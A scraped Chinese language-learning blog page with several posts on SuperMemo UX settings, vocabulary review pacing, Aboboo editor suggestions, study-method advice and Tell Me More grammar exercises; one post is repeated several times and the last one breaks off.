页面载入中...

SuperMemo UX新手上路之设置篇

SuperMemo UX其实是一个非常简单的程序,拢共才有七大子菜单,最后那俩还是“用户”和“帮助”。最大的子菜单是“页面”,大约有15个子项,真心没多少内容。

对于刚上手使用SuperMemo UX的新人来说,舍得还是要给出一点点建议的。下面这些设置可以让你学习时更方便一些。

第一项:课程设置

怎么添加课程到SuperMemo中,这个舍得之前视频都有录制过了,不清楚的童鞋赶紧先去看看吧。视频传送门:走起

当你添加好一个课程的时候,可以快速给自己设置一个“每天学习新材料数”,这个数字并不是说你每天只能这么多,它其实是一个“组”的概念。比如下方图片中显示的“50”,意味着学一组新的词汇,数量是50个。你今天想学500个?再多开几组就是。

SNAG-0008

虽然这个新材料数不设置也没关系,不过舍得还是建议搞一下较妥。推荐设置成50。每天学习的生词不要过多,否则你有可能会被后续庞大的复习量给怼死。

至于“如何重开一组”,这有个小诀窍:

请看屏幕左侧上方的“学习计划”,找到“新材料”这个链接,当它后面数字变0的时候,点一下就行了……憋问我为啥它们不搞个专用的“重学一组”的按钮之类的东东,开发者就是这么任性。

SNAG-0009

顺带讲一下课程设置窗口中的“遗忘指数”,对于新人来说,保持默认的10%就行,憋去想为啥要10%……新人嘛,默认设置就足够了,等你变老鸟的时候,再去慢慢琢磨这数整成啥样更舒服更带感。

第二项:不显示复习面板

这个最大的好处是可以在你学习每一个页面的时候少敲一个按键。比如今天你总共要学200个词(含复习、巩固练习哦),那就意味着你可以少点200下。

从“工具”菜单中找到并点击“选项”命令,然后在弹出的“程序选项”窗口中点击“面板”选项卡,将“显示复习面板”前面的复选框去选(勾勾去掉,默认是勾选的)。

SNAG-0004

这项若是勾选的话,主窗口左下角会多出一个“复习”面板:

SNAG-0010

好处是你可以直观的看到当前页面的复习间隔和下次复习的时间,坏处上面已经说过,你在每学一个页面时,评分完毕后会多出一个“确定”按钮,你不得不多点击一次按钮(或敲一次回车键),工作量可是不少。要知道,正常学一个页面,本来只需点击两下滴。

第三项:音频设置

正常情况下,保持默认的即可。

但根据舍得的经验,有一部分机子在播放音频时会出现异常,这个时候,就要换个媒体播放器了:

SNAG-0007

从“程序选项”的“音频”选项卡中选择其它几个播放器试一下吧!

第四项:快捷键

默认的评分快捷键并不友好,开发者将它设计成Ctrl加数字键的组合形式。这评分还要多按一个键,确实不能忍。

事实上讲到快捷键的时候,舍得已经意识到这已经超出“新手”的范围了。正常情况下,作为新手,老老实实的点击程序给出的三个评分按钮就可以了。

下面所讲的这些,算是进阶学习吧。

先科普一下SuperMemo UX的评分体系,它总共有六级评分,分别从5到0,这六级评分你可以直观滴理解成你对当前页面的掌握程度(自然是分数越高越好)。而三个评分按钮对应的分别是:

  • “我知道”:5分
  • “差不多”:3分
  • “不知道”:0分

当然,六级评分和三级评分,最后带来的结果是不一样的,六级评分会让复习日程安排得更精确,这是毋庸置疑的。

至于具体打分的标准,舍得的博客中已经不止阐述过一次了,请自行找来阅读。

接下来我们讲快捷键设置。

推荐的评分快捷键是数字小键盘的5-0,这样捎上小键盘上的回车键,学习时基本上一只手搞定,很轻松。

SNAG-0012

修改快捷键的方法很简单,在“程序选项”的“快捷键”选项卡中选中Grade-A到Grade-F之间的任一个,然后点击“更改”按钮,再按下对应的数字小键盘按键就行。

然而事情还没有完。

我们还要修改一下三个评分按钮的快捷键,请按下图修改前三个快捷键:

SNAG-0011

它们分别对应的是0、3、5这三个评分。

最后再讲一下回车键的使用。

如果你跟舍得一样,在学习过程中,用小键盘进行操作,那么,“查看答案”时,请敲回车键(你也可以点击小键盘“3”键,因为它对应的是Middle navigation button,但不推荐。)评分时,如果你要评的是5分,可以按小键盘“5”,也可以直接敲回车键。换句话说,对于一个简单的词汇课程,你可以一个回车键通吃了。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:
舍得
首发:
舍得学苑官方博客

标签:

用SuperMemo刷单词

"刷"这个词挺有意思。看电影我们经常会用“二刷”、“三刷”,所以“刷”就很神奇滴拥有了“重复”的意思。而“刷”本身还有个“剔除”之意,可以这么来理解,所谓刷单词,就是为了把单词从我们的复习清单上一个个剔除掉嘛!

网络游戏中还常用到这个“刷”字,比如“刷材料”、“刷装备”,用一个“刷”字体现出淋漓尽致的急切感。“刷”就是要有效率,刷单词亦是如此。

辣么我们怎么开始刷单词的旅程呢?

和以往背单词的方式略有不同的是,刷词的时候要快,每个词用时在10-30秒之间,而不是一味地花大量时间在某一个词上。舍得不是说用时太多不好,但用时过多,效率自然会低。背单词最好的方式不是在一个单词上花大量时间,而是不断滴重复这个单词。

第一次刷一个单词的时候,用时控制在30秒/词以内,碰到已经掌握的词,用时应更少——其实只需要一个确认的时间——记不记得?记得,就打个高分,继续前进,不记得,就好好想想有没有什么技巧把它快速记下来。如果一个词第一遍没回忆起来,那么你还会在当天的巩固练习一次次见到它,直到你能回忆出来为止。后面的每一遍复习,用时控制在10-15秒比较理想。

这样做的好处就是每天学习的词量会比较大。如果靠水磨功夫,一个词一个词花一两分钟甚至更多的时间耗过去,一天是学不了多少东西的。

新人常会问到一个问题,酱紫我一天刷多少生词比较合适?

在SuperMemo中,尽量不要有“平均每天学多少生词”的想法。真要给自己设置一个标准,控制在50个词以下吧!前提还得是你有足够多的时间,以及你所学的生词别太超纲、太冷僻。为什么要说“足够多的时间”?因为每天若学习固定量的生词,而这些生词你平时很少见过的话,累积起来的复习量是很大的。想想看,你一天学50个生词,以第一遍每个词30秒来计算,总共需要1500秒,25分钟,后面还要进行巩固练习,少算一点,平均两遍,每遍每个词10秒好了,1000秒,约17分钟。这两项加在一起就40多分钟了。

问题是在SuperMemo使用过程中,以往学习过的词大多是需要复习的,我们按10秒/词,每个词平均刷两遍的方式去计算,复习50个词大约要花17分钟,这就意味着每天近60分钟的学习量了。然而,当你每天“平均”学习50个生词的时候,复习量会有可能只是50个么?答案自然是否定的。以舍得的经验,如果平均学这么多的话,一天的复习量到几百个词很正常……自己去算一下复习这些词需要多少时间好了!

所以最科学的做法是根据每天的复习量去决定要学多少生词。SuperMemo有个非常贴心的功能,叫做“课程表(复习计划)”,在“学习”菜单中,默认快捷键是Ctrl+T。你可以随时调它出来查看今后几天的复习总量,粗略计算一下复习这些词所需的时间,再来根据自己的学习时间决定要刷多少生词。

有些小伙伴可能会问,这么说来,用SuperMemo刷单词,还不如我自己抱一本单词书刷得快咯?

我们来简单推算一下好了。

就以每天学50个生词为例,50个生词每天总共耗时42分钟左右,复习前一天学过的50个词,也按17分钟来算,共计花费60分钟左右。看起来很美好,但是,一个生词复习两天足够了么?肯定不行。你要想在一年后还能记得,平均每个词大约需要花6到8轮的复习——每轮复习还不能紧挨着,得根据遗忘曲线合理安排才能做到。

辣么问题来了,你抱着单词书来刷,又怎么来安排后续每一轮的复习呢?理论上是可以做到,弄个电子表格,把页码一一记上,提前规划好——且不去计算做这些事情所要花费的时间和精力,我们再来面对刷“单词书”时要碰到的另一个问题:SuperMemo会将你已经掌握的词逐步从复习计划中剔除掉,你刷单词书如何能做到这一点?每学一轮,每一批词都一视同仁,花辣么多时间么?呵呵,时间就是酱紫浪费掉滴。

小伙伴们,你还在犹豫什么?赶紧用SuperMemo刷起来吧!

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得学苑官方博客

标签:

This is a temporary post that was not deleted. Please delete this manually. (e8523554-ef10-4158-a9ad-2d8e0bae8666 – 3bfe001a-32de-4114-a6b4-4005b770f6d7)

标签:

用SuperMemo刷单词

"刷"这个词挺有意思。看电影我们经常会用“二刷”、“三刷”,所以“刷”就很神奇滴拥有了“重复”的意思。而“刷”本身还有个“剔除”之意,可以这么来理解,所谓刷单词,就是为了把单词从我们的复习清单上一个个剔除掉嘛!

网络游戏中还常用到这个“刷”字,比如“刷材料”、“刷装备”,用一个“刷”字体现出淋漓尽致的急切感。“刷”就是要有效率,刷单词亦是如此。

辣么我们怎么开始刷单词的旅程呢?

和以往背单词的方式略有不同的是,刷词的时候要快,每个词用时在10-30秒之间,而不是一味地花大量时间在某一个词上。舍得不是说用时太多不好,但用时过多,效率自然会低。背单词最好的方式不是在一个单词上花大量时间,而是不断滴重复这个单词。

第一次刷一个单词的时候,用时控制在30秒/词以内,碰到已经掌握的词,用时应更少——其实只需要一个确认的时间——记不记得?记得,就打个高分,继续前进,不记得,就好好想想有没有什么技巧把它快速记下来。如果一个词第一遍没回忆起来,那么你还会在当天的巩固练习一次次见到它,直到你能回忆出来为止。后面的每一遍复习,用时控制在10-15秒比较理想。

这样做的好处就是每天学习的词量会比较大。如果靠水磨功夫,一个词一个词花一两分钟甚至更多的时间耗过去,一天是学不了多少东西的。

新人常会问到一个问题,酱紫我一天刷多少生词比较合适?

在SuperMemo中,尽量不要有“平均每天学多少生词”的想法。真要给自己设置一个标准,控制在50个词以下吧!前提还得是你有足够多的时间,以及你所学的生词别太超纲、太冷僻。为什么要说“足够多的时间”?因为每天若学习固定量的生词,而这些生词你平时很少见过的话,累积起来的复习量是很大的。想想看,你一天学50个生词,以第一遍每个词30秒来计算,总共需要1500秒,25分钟,后面还要进行巩固练习,少算一点,平均两遍,每遍每个词10秒好了,1000秒,约17分钟。这两项加在一起就40多分钟了。

问题是在SuperMemo使用过程中,以往学习过的词大多是需要复习的,我们按10秒/词,每个词平均刷两遍的方式去计算,复习50个词大约要花17分钟,这就意味着每天近60分钟的学习量了。然而,当你每天“平均”学习50个生词的时候,复习量会有可能只是50个么?答案自然是否定的。以舍得的经验,如果平均学这么多的话,一天的复习量到几百个词很正常……自己去算一下复习这些词需要多少时间好了!

所以最科学的做法是根据每天的复习量去决定要学多少生词。SuperMemo有个非常贴心的功能,叫做“课程表(复习计划)”,在“学习”菜单中,默认快捷键是Ctrl+T。你可以随时调它出来查看今后几天的复习总量,粗略计算一下复习这些词所需的时间,再来根据自己的学习时间决定要刷多少生词。

有些小伙伴可能会问,这么说来,用SuperMemo刷单词,还不如我自己抱一本单词书刷得快咯?

我们来简单推算一下好了。

就以每天学50个生词为例,50个生词每天总共耗时42分钟左右,复习前一天学过的50个词,也按17分钟来算,共计花费60分钟左右。看起来很美好,但是,一个生词复习两天足够了么?肯定不行。你要想在一年后还能记得,平均每个词大约需要花6到8轮的复习——每轮复习还不能紧挨着,得根据遗忘曲线合理安排才能做到。

辣么问题来了,你抱着单词书来刷,又怎么来安排后续每一轮的复习呢?理论上是可以做到,弄个电子表格,把页码一一记上,提前规划好——且不去计算做这些事情所要花费的时间和精力,我们再来面对刷“单词书”时要碰到的另一个问题:SuperMemo会将你已经掌握的词逐步从复习计划中剔除掉,你刷单词书如何能做到这一点?每学一轮,每一批词都一视同仁,花辣么多时间么?呵呵,时间就是酱紫浪费掉滴。

小伙伴们,你还在犹豫什么?赶紧用SuperMemo刷起来吧!

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得学苑官方博客

标签:

用SuperMemo刷单词

"刷"这个词挺有意思。看电影我们经常会用“二刷”、“三刷”,所以“刷”就很神奇滴拥有了“重复”的意思。而“刷”本身还有个“剔除”之意,可以这么来理解,所谓刷单词,就是为了把单词从我们的复习清单上一个个剔除掉嘛!

网络游戏中还常用到这个“刷”字,比如“刷材料”、“刷装备”,用一个“刷”字体现出淋漓尽致的急切感。“刷”就是要有效率,刷单词亦是如此。

辣么我们怎么开始刷单词的旅程呢?

和以往背单词的方式略有不同的是,刷词的时候要快,每个词用时在10-30秒之间,而不是一味地花大量时间在某一个词上。舍得不是说用时太多不好,但用时过多,效率自然会低。背单词最好的方式不是在一个单词上花大量时间,而是不断滴重复这个单词。

第一次刷一个单词的时候,用时控制在30秒/词以内,碰到已经掌握的词,用时应更少——其实只需要一个确认的时间——记不记得?记得,就打个高分,继续前进,不记得,就好好想想有没有什么技巧把它快速记下来。如果一个词第一遍没回忆起来,那么你还会在当天的巩固练习一次次见到它,直到你能回忆出来为止。后面的每一遍复习,用时控制在10-15秒比较理想。

这样做的好处就是每天学习的词量会比较大。如果靠水磨功夫,一个词一个词花一两分钟甚至更多的时间耗过去,一天是学不了多少东西的。

新人常会问到一个问题,酱紫我一天刷多少生词比较合适?

在SuperMemo中,尽量不要有“平均每天学多少生词”的想法。真要给自己设置一个标准,控制在50个词以下吧!前提还得是你有足够多的时间,以及你所学的生词别太超纲、太冷僻。为什么要说“足够多的时间”?因为每天若学习固定量的生词,而这些生词你平时很少见过的话,累积起来的复习量是很大的。想想看,你一天学50个生词,以第一遍每个词30秒来计算,总共需要1500秒,25分钟,后面还要进行巩固练习,少算一点,平均两遍,每遍每个词10秒好了,1000秒,约17分钟。这两项加在一起就40多分钟了。

问题是在SuperMemo使用过程中,以往学习过的词大多是需要复习的,我们按10秒/词,每个词平均刷两遍的方式去计算,复习50个词大约要花17分钟,这就意味着每天近60分钟的学习量了。然而,当你每天“平均”学习50个生词的时候,复习量会有可能只是50个么?答案自然是否定的。以舍得的经验,如果平均学这么多的话,一天的复习量到几百个词很正常……自己去算一下复习这些词需要多少时间好了!

所以最科学的做法是根据每天的复习量去决定要学多少生词。SuperMemo有个非常贴心的功能,叫做“课程表(复习计划)”,在“学习”菜单中,默认快捷键是Ctrl+T。你可以随时调它出来查看今后几天的复习总量,粗略计算一下复习这些词所需的时间,再来根据自己的学习时间决定要刷多少生词。

有些小伙伴可能会问,这么说来,用SuperMemo刷单词,还不如我自己抱一本单词书刷得快咯?

我们来简单推算一下好了。

就以每天学50个生词为例,50个生词每天总共耗时42分钟左右,复习前一天学过的50个词,也按17分钟来算,共计花费60分钟左右。看起来很美好,但是,一个生词复习两天足够了么?肯定不行。你要想在一年后还能记得,平均每个词大约需要花6到8轮的复习——每轮复习还不能紧挨着,得根据遗忘曲线合理安排才能做到。

辣么问题来了,你抱着单词书来刷,又怎么来安排后续每一轮的复习呢?理论上是可以做到,弄个电子表格,把页码一一记上,提前规划好——且不去计算做这些事情所要花费的时间和精力,我们再来面对刷“单词书”时要碰到的另一个问题:SuperMemo会将你已经掌握的词逐步从复习计划中剔除掉,你刷单词书如何能做到这一点?每学一轮,每一批词都一视同仁,花辣么多时间么?呵呵,时间就是酱紫浪费掉滴。

小伙伴们,你还在犹豫什么?赶紧用SuperMemo刷起来吧!

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得学苑官方博客

标签:

用SuperMemo刷单词

"刷"这个词挺有意思。看电影我们经常会用“二刷”、“三刷”,所以“刷”就很神奇滴拥有了“重复”的意思。而“刷”本身还有个“剔除”之意,可以这么来理解,所谓刷单词,就是为了把单词从我们的复习清单上一个个剔除掉嘛!

网络游戏中还常用到这个“刷”字,比如“刷材料”、“刷装备”,用一个“刷”字体现出淋漓尽致的急切感。“刷”就是要有效率,刷单词亦是如此。

辣么我们怎么开始刷单词的旅程呢?

和以往背单词的方式略有不同的是,刷词的时候要快,每个词用时在10-30秒之间,而不是一味地花大量时间在某一个词上。舍得不是说用时太多不好,但用时过多,效率自然会低。背单词最好的方式不是在一个单词上花大量时间,而是不断滴重复这个单词。

第一次刷一个单词的时候,用时控制在30秒/词以内,碰到已经掌握的词,用时应更少——其实只需要一个确认的时间——记不记得?记得,就打个高分,继续前进,不记得,就好好想想有没有什么技巧把它快速记下来。如果一个词第一遍没回忆起来,那么你还会在当天的巩固练习一次次见到它,直到你能回忆出来为止。后面的每一遍复习,用时控制在10-15秒比较理想。

这样做的好处就是每天学习的词量会比较大。如果靠水磨功夫,一个词一个词花一两分钟甚至更多的时间耗过去,一天是学不了多少东西的。

新人常会问到一个问题,酱紫我一天刷多少生词比较合适?

在SuperMemo中,尽量不要有“平均每天学多少生词”的想法。真要给自己设置一个标准,控制在50个词以下吧!前提还得是你有足够多的时间,以及你所学的生词别太超纲、太冷僻。为什么要说“足够多的时间”?因为每天若学习固定量的生词,而这些生词你平时很少见过的话,累积起来的复习量是很大的。想想看,你一天学50个生词,以第一遍每个词30秒来计算,总共需要1500秒,25分钟,后面还要进行巩固练习,少算一点,平均两遍,每遍每个词10秒好了,1000秒,约17分钟。这两项加在一起就40多分钟了。

问题是在SuperMemo使用过程中,以往学习过的词大多是需要复习的,我们按10秒/词,每个词平均刷两遍的方式去计算,复习50个词大约要花17分钟,这就意味着每天近60分钟的学习量了。然而,当你每天“平均”学习50个生词的时候,复习量会有可能只是50个么?答案自然是否定的。以舍得的经验,如果平均学这么多的话,一天的复习量到几百个词很正常……自己去算一下复习这些词需要多少时间好了!

所以最科学的做法是根据每天的复习量去决定要学多少生词。SuperMemo有个非常贴心的功能,叫做“课程表(复习计划)”,在“学习”菜单中,默认快捷键是Ctrl+T。你可以随时调它出来查看今后几天的复习总量,粗略计算一下复习这些词所需的时间,再来根据自己的学习时间决定要刷多少生词。

有些小伙伴可能会问,这么说来,用SuperMemo刷单词,还不如我自己抱一本单词书刷得快咯?

我们来简单推算一下好了。

就以每天学50个生词为例,50个生词每天总共耗时42分钟左右,复习前一天学过的50个词,也按17分钟来算,共计花费60分钟左右。看起来很美好,但是,一个生词复习两天足够了么?肯定不行。你要想在一年后还能记得,平均每个词大约需要花6到8轮的复习——每轮复习还不能紧挨着,得根据遗忘曲线合理安排才能做到。

辣么问题来了,你抱着单词书来刷,又怎么来安排后续每一轮的复习呢?理论上是可以做到,弄个电子表格,把页码一一记上,提前规划好——且不去计算做这些事情所要花费的时间和精力,我们再来面对刷“单词书”时要碰到的另一个问题:SuperMemo会将你已经掌握的词逐步从复习计划中剔除掉,你刷单词书如何能做到这一点?每学一轮,每一批词都一视同仁,花辣么多时间么?呵呵,时间就是酱紫浪费掉滴。

小伙伴们,你还在犹豫什么?赶紧用SuperMemo刷起来吧!

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得学苑官方博客

标签:

SuperMemo每天复习量大的可怕,肿么办?

这是好多童鞋刚开始使用SuperMemo时会碰到的问题。

甫一接触SuperMemo,心里想,感觉好腻害的样子!带着这种兴奋,蹭蹭蹭地往下学,一不留神学了几百条新的内容……

然后……有的人就没有然后了,因为几天过后,被突然摆在眼前的那个大大的复习数吓傻了,嘴里只剩俩字:这尼玛……

当然不是每个人都会酱紫。

舍得先讲讲为什么复习量会这么大,以背单词为例,究其原因有:

  • 学得太快:一个个词如一阵风似滴在眼前刮过,每个词往往只能分到短短几秒钟,亲,一个生词几秒钟你能做什么?好歹停下来想想,我如何记住这个词?有的人学得慢,见到一个生词便老老实实地设法去“啃”掉它,每天用1个小时SuperMemo,啃一个生词需要半分钟到1分钟的话,一天也学不了多少生词,自然复习量不会太大;
  • 内容太难:难度是相对的,但总有人向更高的难度发起挑战。比如某童鞋,明明只具备初中程度的单词基础,却要向GRE词汇发起挑战……亲,你好歹先把高中单词掌握了呀……很多人都懂循序渐进的道理,但真正到该循序渐进的时候,却忘了如何让正确的道理来指导自己的行动。单词这种事,基础词掌握得越多,那些看起来很难的词大多可以形近、音近的熟词加记忆技巧去搞定。这样一来,所谓的难词,在未来一年或两年内所需的总复习次数自然会下降——这意味着整体复习量的下降;
  • 没做当天的巩固练习:每天的巩固练习给你提供了复习当天没掌握词汇的机会,有些童鞋根本不去做,还有些童鞋做是在做,但仅仅是当差事在应付,这又怎么会有好的效果呢?巩固练习背后仿佛站着一位很轴的老师,每次“巩固”一个生词的时候,你若总是不认识,这位老师便会让你一遍一遍不停地重复,直到今天“看到这个词便会想起意思”的程度。曾有小朋友跟我辩论说这巩固练习没用,其实恰恰相反。当你认真、高标准完成当天的巩固练习之后,今后所有的生词、复习时碰到的难词,至少在这一天里,你是能回忆起来的。so,晚上睡觉的时候,你的潜意识会慢慢将这些内容从短期记忆转化成长期记忆。不认真做巩固练习的童鞋,复习量自然会更大一些;
  • 评分太随意:评分是SuperMemo方法中非常关键的一环,对SuperMemo算法来说,这是唯一的一个输入端。你乱评分的话,再优秀的算法也会等同于垃圾:前提是错的,结果又怎么会正确呢(拒绝对这句话钻牛角尖)?认真的评分意味着告诉SuperMemo你对当前所学词汇的掌握情况,不要评得过高,也不要为了希望多复习几次评得过低。每次评分前都要问过自己,这个词,应该评多少分更准确(具体的评分标准请参阅舍得以前写的文章)?随意评分造成评分偏低的时候,无形中增加了不必要的复习量;
  • 孤立的学习:把背单词当成英语学习的唯一,不再去做阅读、不再去背句子,更不要说背经典文章了……现在的生活中,只要你留意,处处都是学习或巩固生词的机会,电影、电视、报纸、杂志、街头的招贴或广告、产品的包装、电脑、手机、网络……看到生词或曾经“背”到过的词汇的时候,为什么不可以停下来想想这个词的意思?真正有心这么去做的童鞋,下次再学习或复习到这些生词的时候,掌握起来自然更快,总复习量当然会降低。这是SuperMemo方法中非常棒的一个特性——你在SuperMemo外对这些生词所做的努力,SuperMemo都会将其“计算”进去。看上去很神奇不是?有的人或许会说“天方夜谭”。细想想就知道了:你每一次在SuperMemo中对所学词汇做的评估(评分),决定了这些词汇今后的复习量。而你之所以会做出这样的评估,不正是受到随时随时学习生词的影响么?

知道原因后,我们便能对症下药了,具体的方法有:

  • 认真对待每一项学习的内容,不要贪快。你的目标应该是:至少我要能在今天答出正确答案。不要说不可能,试想一下,今天就要考到它怎么办?
  • 做好学习规划,设计好课程。如果内容太难,要么想办法攻克它,要么就先放一放;
  • 做好当天的巩固练习;
  • 学习时,根据自己的真实掌握情况来评分;
  • 随时随地学习,你在SuperMemo外的努力 ,SuperMemo”看得见“;

最后,最最重要的一条是:请根据当天的复习量来安排新内容的学习量。假定你每天平均用SuperMemo学习一个小时,复习以前学过的内容便已用去这一个小时,那么,就暂时别学新内容了。如果复习后还剩下10分钟,那就用这10分钟来学习新的内容……这么讲应该能明白吧?换句话说,每天能学习多少新内容,是根据你的复习量的多少来决定的。千万不要一上来就给自己规定:我每天要背100个、200个、300个生词。明明光是复习就已经用去了绝大多数的时间,还要硬着头皮再学几百个生词,怪谁呢?

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

Aboboo课件编辑器改进建议

Aboboo的课件编辑器在课件制作上已经当得起“不错”二字。不过,以舍得的经验而言,在大批量制作课件的时候,课件编辑器还有些许改进的空间。

先简单介绍一下目前我的使用流程:

  1. 打开一个音频文件;
  2. 将原文复制进去,然后调节音频断点;
  3. 将译文复制进去,对内容进行微调;
  4. 点击完成,点击“从课件导入属性”;
  5. 修改课件属性后点击“下一步”;
  6. 储存完毕后,我通常会点四次“上一步”返回。因为我要继续导入一个新的音频文件,若点“对不起,该课件是私人使用”,会被强制退出课件编辑器,这真是一个糟糕的设定。此时若要继续制作新课程,得在“工具”页面中重新点击“课件编辑器”,新版还有个毛病,课件编辑器窗口位置老是跑偏的,我们又不得不动手动调整窗口位置……这也是我宁愿选择点四次“上一步”按钮的原因。

从上面的流程来看,课件编辑器目前可优化的地方有:

一、直接跳转到相应步骤

左侧的这个类似流程图的玩意不 应该是摆设,应该点击后能直接跳转到相应的步骤,比如点击”打开音频文件“,就能弹出文件选择窗口,选完后即可进入新课件的编辑制作。我没记错的话,以前的版本应该就是这么设计的,估计改版的时候,”不小心“动到相应的方法,导致这个功能被太监了。

SNAG-0014

或者在最后的“对不起,该课件是私人使用”的选择页面中,加入一个“打开mp3/wav文件制作课件”的按钮,以便大家进行连续制作课件的操作。

二、音频文件打开后不必自动播放

现在的设计是,当音频文件打开后会自动播放,从上面的流程可知,我需要先复制原文&译文,再开始断点微调操作。所以自动播放是没有必要的。我不得不多点一次暂停键。当然也有其他的课件作者需要自动播放,那不妨交给选项来控制好了。

三、编辑时一律从”原文“开始

如果我按上面流程第6步来操作,点四次返回起点,再载入音频时,编辑通常会从”译文“开始(即使将编辑器关掉重来也会从“译文”开始)。这个对”原文、译文“状态的记忆我感觉没有必要,一律改为从原文开始较好。或者干脆交给选项来控制。

四、波形窗口应该允许放大

就像在学习状态那样,波形窗口应该允许放大,在对断点进行微调时,放大的波形更有利于我们快速找到最佳断点。

五、从外部粘贴文本时,最好能自动分离原文和译文

如果不能自动分离,我们不得不分两次粘贴,第二次粘贴时必然要切换到其它窗口,然后做复制、切换窗口、粘贴等操作,无形中多了好几个步骤。若能自动分离,效率会高一点。

分离原文译文可以采用如下的机制:

  • 原文和译文在同一行,中间用制表符隔开;
  • 原文和译文各占一行;
  • 原文和译文在同一行,中间没有分隔符;

建议采用前两种,并在课件编辑器窗口中给出一个ComboBox,以便大家选择常用的方式。

六、增加“自动记忆课件属性”功能

对于经常连续制作课件的我们来说,课件属性是大同小异的,通常只要改一个课件名称即可,所以,若能自动记忆课件属性,无疑我们的制作效率还会高一点点。

没有这个功能的话,我们不得不使用“从课件导入属性”来载入,再修改课件名称,因为课件中的作者、分类之类的属性通常是一样的。若要手动一项项输入,那个效率只会更低。

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

少折腾 多练习

一转眼,舍得学苑从开办至今,已经进入第八个年头了。

凭借学苑的优势,舍得有幸见识了来自五湖四海的英语学习者的风范。见得多了,舍得潜意识中会给他们分一分类。

其中最突出的一个类型,或许是出于好玩,舍得将其命名为折腾流。

顾名思义,这个折腾流擅长的就是折腾——将主要的精力用在研究“哪个方法更好”上了。大概在他们心中,学到“世界上最先进的方法”才是第一要务。

于是乎,时间就大量用到方法的探索上。

如果他们是专业哪怕是非专业的英语研究者,这种精神自然是值得鼓励的。

然而,折腾流中绝大多数童鞋,仅仅是英语学习者,中间更有一大部分,只能称之为英语初学者。

他们在拼命或不拼命地研究着“哪个方法更牛x”,一旦认定当前接触的方法牛x指数不够,当然是要丢到一旁,再继续调动时间、精力去扑下下一个方法。一副不搞到“最先进方法”誓不罢休的模样。啧啧,这精神当真是要得!不过舍得每每看到此情此景,眼前总会浮现那只掰玉米猴子的高大形象。

这些童鞋在各种方法间折腾来、折腾去,看起来似乎提升了不少,若要说起英语技能上的提升,原地踏步恐怕都会成为一个褒义词了。他们忘了,英语学习本身才是最需要时间、最需要精力的。

一叶障目,不是么?

这叶……就是他们正在折腾得不亦乐乎的方法,仿佛只要掌握了最最最最牛x的方法,他们便能一夜之间神功附体、功力大涨,立马变成顶尖高手。

问题是,这不是武侠世界。

英语学习的世界里,没有人能给你来个灌顶大法,让你一夜间成为叼炸天的高手滴。

别把方法看得太高了。

方法再牛x,也得你先投入大量时间去练习,慢慢地,量变才有可能转为质变。

我们不妨拓展一下,做个mud版的小实验,来看得更清楚一些:

参与实验的人数假定为100人,总共配了100个厨师,其中有特一、特二、特三、一级、二级、三级……甚至还有没级的、纯属野路子的,要求大家在100个时间单位内学习厨艺,最后来一场评比,看谁的厨艺更高。

所有的厨师不能直接告诉你他是哪一级的,大家得自己去分辨。

我们再来设定这样的两个实验者:

小A童鞋花了10个时间单位选了位二级厨师来学习,花了90个时间单位练习厨艺;

小B童鞋花了90个时间单位,终于选到一位特一级的厨师,然后在特一级厨师的指导下,花了10个时间单位来练习厨艺;

你觉得最后小A和小B谁会胜出?

厨师就是折腾流正在使劲折腾的方法,厨艺的练习对应的则是英语学习本身。

你还要继续花费时间折腾么?你还要当那个掰一路扔一路的猴子么?

醒醒吧,少点折腾,多练习吧!

 

本文版权归舍得学苑所有,欢迎转载,转载请注明作者和出处。谢谢!
作者:舍得
首发:舍得新浪博客

标签:

Tell Me More精讲之语法训练篇(一)

前几天看到舍得学苑淘宝专卖店的客服人员转来一份聊天记录,在聊天中客服小丁无意中提起Tell Me More(TMM)中的语法训练,客户顿时惊讶,Tell Me More中有语法的训练么?

这个还真的可以有。

今天舍得就带大家去洛克洛克。

直接进TMM的漫游模式,下方左起第四个按钮就是语法训练,点击它便可看到如下的页面:

SNAG-0011

从上图可以看到它分为资源和练习两个大类,我们先简单浏览一下资源大类下的语法说明:

SNAG-0012

这基本上可看作是TMM内置的一本语法工具书了,重要的是检索起来极为方便,更关键的一点是,TMM将它与绝大多数练习关联到了一起,这个舍得呆会讲到练习的时候会顺带介绍。

“练习”大类中包含了七个类型的练习,汉化不够准确,大家嫑被误导。舍得先来介绍个大概:

  • 填空:其实上应该是选择题,通常的做法是给一个句子,答案和n个干扰词混在一块,要你去把它们选出来,选项往往有6个之多;
  • 完形填空:这个自然也是汉化错了,准确的翻译应该是配对题。比如给你四个句子,每个句子抽出一个词,要你去搞个拉郎配,把抽出的词配回去……
  • 单词和功能:这个译得算是中规中矩,但没法让你直观滴知道这到底是个神马东西。从流程上讲,就是给你一些文本,你要将文本中的词按照指定的功能归一下类。唔,这文本中的单词好比是一群人,干活之前,你可以大吼一声:男人站左边,女人站右边,太监站中间……吼完之后,麻烦你手动把男人、女人、太监一个个挑出来,放到对应的筐子中,任务完成。
  • 语法练习:人家就是这个命名的,怪不到翻译头上。它有个小标题叫“根据提示修改单词”——很赞的一个练习。8过准确滴讲,它的操作对象是一个个短语。做过初中英语课本后的练习没?太像了!给你一个参照的模板,你来照这个模板依样画葫芦吧!看起来灰常简单,当你老老实实照此办理之后,语法中的某个小细节自然而然会在你大脑里留下一道浅浅的烙印,通过不断地反复练习让烙印加深,深到似乎能逐渐融入你的血液,这个小细节就变成你的了。这才是语法修炼的正确道路,那些死记硬背语法规则的通通弱爆了!
  • 句子练习:小标题叫“按照提示修改句子”。没错,这与上一个练习类型是配套的,只是将对象从短语升级成了句子,仍然是“依样画葫芦”的画风,依旧很赞的样子。
